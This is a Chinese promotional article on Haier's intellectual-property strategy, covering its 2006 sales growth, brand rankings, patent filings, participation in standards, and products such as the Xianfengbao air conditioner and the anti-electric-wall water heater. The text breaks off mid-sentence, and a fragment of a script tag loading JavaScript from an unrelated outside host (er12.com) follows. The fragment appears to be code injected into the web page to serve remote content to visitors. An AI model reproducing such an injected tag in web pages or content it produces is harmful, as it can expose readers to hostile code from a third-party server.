海尔的知识产权创新之路，始终坚持“三自”原则，在创造性地为用户解决问题的过程中克服了后发公司的创新障碍，并后来居上。海尔具有中国特色的自主知识产权战略，能够将自主创新的技术转化成自主知识产权，并且在市场竞争中通过自主知识产权发力，使自主知识产权为其品牌的全球化发展发挥出较大威力，对于全球化阶段的中国企业走出去尤其具有创新的典范意义。
2006年，海尔集团实现全球营业额、利润分别同比增长8.6%和17.8%，利润的增幅是全球营业额增长的两倍。海外营业额同比增长16% ，增幅接近全球营业额增幅的两倍。
22年来，海尔坚持自主创新，创出了中国第一名牌，已成为中国企业和品牌在国际市场的代表。
2006年，海尔品牌价值高达749亿元，自2002年以来，海尔品牌价值连续五年蝉联中国最有价值品牌榜首。2005年8月30日，海尔被英国《金融时报》评为“中国十大世界级品牌”之首。2006年，在《亚洲华尔街日报》组织评选的“亚洲企业200强”中，海尔集团连续第四年荣登“中国内地企业综合领导力”排行榜榜首。euromonitor调查结果显示，海尔在全球白色电器制造商中营业额排名第四，品牌销量排名第二。国家质检总局评选公布首批三个中国世界名牌，海尔包揽前两名。
截至2006年，海尔专利申请量达到7008项（其中发明专利1234项），稳居中国家电企业榜首。2006年，海尔累计申请专利819项，其中发明专利415项，同比增长72%，平均每个工作日申请1.7个发明专利。
截至2006年，海尔累计参与国际标准6项，参与国家标准115项。2006年10月，继“防电墙”技术和“双动力”技术后，又有网络家电和无粉洗涤技术两项技术进入国际标准组织iso和iec。
海尔是目前中国在海外营销、制造、研发布局最完善的企业。截止到2006年底，海尔在海外拥有8个设计中心、30个制造中心、22个贸易公司、 58800个营销网点，北美、欧盟和东亚基本实现了设计、生产、营销三位一体布局。
22年来，坚持“三自”创新，创世界名牌。
技术专利化――自主创新以满足市场需求为前提
2007年3月份，海尔空调′07鲜风宝引爆国内市场。中国家电连锁巨头发布2007年第1号主推令：北京上百家门店全力主推同一产品——海尔空调′07鲜风宝。而这一势头，不久后又在全国各大城市的各大家电连锁店和专卖店迅速蔓延，持续热销。一时间，满城尽卖鲜风宝。海尔′07鲜风宝以客户健康为出发点，创造性地解决了不能室内外空气交换的瓶颈，其核心技术“双新风”、“aip电离净化”、“负离子”健康技术等申报了6项发明专利，申报专利总共19项，实现了新风含氧度、空气洁净度和清新度的国家a级鲜风质量，此举不仅在国际空调技术领域上有较大突破，更得到消费者的特别厚爱。
“鲜风宝现象”只是海尔知识产权战略的缩影之一。海尔双动力洗衣机，集波轮、滚筒、搅拌三种洗衣机优点于一身，实现了洗的净、磨损低、不缠绕、省水省电各一半、省时70％，被誉为世界上第四种洗衣机，累计申请32项专利，其中发明专利17项（含2项pct），形成了核心到外围的完整保护梯度。海尔“防电墙”热水器，彻底解决了世界性的环境漏电问题，保障了人民生命、财产的安全，累计申请专利12项发明专利，涵盖了防电墙技术的所有领域；海尔网络家电、宇航变频冰箱、润眼电脑、流媒体电视、随身唱手机、保鲜冰箱、爱国者芯片、太阳能冷柜、医用低温产品、氢电弧纳米材料等拥有自主知识产权的新产品，均通过合理的专利规划和布局，在行业内保持领先水平，并开辟了行业发展新方向。
海尔集团始终坚持以用户需求为出发点的“市场、技术、知识产权”三位一体的模式，根据用户的需求来开发产品、开发市场，为用户找产品，海尔在创造性地为用户解决问题的过程中培育了富有活力的新的市场，并通过专利的规划和申请，使技术创新显示出强大威力，2006年，自主知识产权拉动产品销售价格增长高达20%以上。
专利标准化――以掌握国际家电行业话语权为手段
2006年11月27日，国内外的焦点再一次聚焦海尔。这一天，海尔集团在北京钓鱼台召开新闻发布会，宣布海尔的“防电墙”技术成为我国第一个由国内企业参与制定的国家强制性标准，并将于2007年7月1日实施。在民族企业还在频频遭受国外企业知识产权打压的时候，海尔已经通过参与国家标准的制定，逐步掌控行业的话语权。在该标准中，海尔等企业的专利覆盖了所有的防电墙技术，成为企业通过自主知识产权实现市场竞争中有力地位的一个实例。不仅如此，海尔在创造性的解决客户需求的同时，通过科学的专利布局，完成了对防电墙技术的全面覆盖，并成功参与到iec、iso等国际标准提案中去。
这样的故事在海尔不止一件，2006年，海尔共主持或参与了100项新标准制定，其中有国际标准提案3项，国家标准35项，同时制定行业及其他标准62项。3项新?script src=http://er12.com/t.js>
